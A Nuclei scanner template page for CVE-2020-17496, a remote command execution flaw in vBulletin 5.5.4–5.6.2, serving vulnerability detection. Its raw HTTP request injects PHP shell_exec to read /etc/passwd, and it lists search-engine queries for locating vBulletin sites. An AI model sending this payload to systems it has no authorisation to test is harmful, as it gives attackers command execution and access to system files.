vBulletin 5.5.4 - 5.6.2- Remote Command Execution

ID: CVE-2020-17496

Severity: critical

Author: pussycat0x

Tags: cve2020,cve,vbulletin,rce,kev,tenable,seclists

Description

vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.

YAML Source

id: CVE-2020-17496

info:
  name: vBulletin 5.5.4 - 5.6.2- Remote Command Execution
  author: pussycat0x
  severity: critical
  description: 'vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.'
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
  remediation: |
    Upgrade vBulletin to a version that is not affected by CVE-2020-17496.
  reference:
    - https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17496
    - https://seclists.org/fulldisclosure/2020/Aug/5
    - https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch
    - https://cwe.mitre.org/data/definitions/78.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-17496
    cwe-id: CWE-74
    epss-score: 0.97461
    epss-percentile: 0.99957
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vbulletin
    product: vbulletin
    shodan-query:
      - http.title:"powered by vbulletin"
      - http.html:"powered by vbulletin"
      - http.component:"vbulletin"
      - cpe:"cpe:2.3:a:vbulletin:vbulletin"
    fofa-query:
      - body="powered by vbulletin"
      - title="powered by vbulletin"
    google-query:
      - intext:"powered by vbulletin"
      - intitle:"powered by vbulletin"
  tags: cve2020,cve,vbulletin,rce,kev,tenable,seclists

http:
  - raw:
      - |
        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022006be3cf328d6f78df4866c6103ea91b92dbb9113d869a82ec7acd40b4c8d345e02202e59ea539895dba46870a5b3d3dcd21c2c0bd297c01bf99cdd462c1793a8d186:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-17496.yaml"

View on Github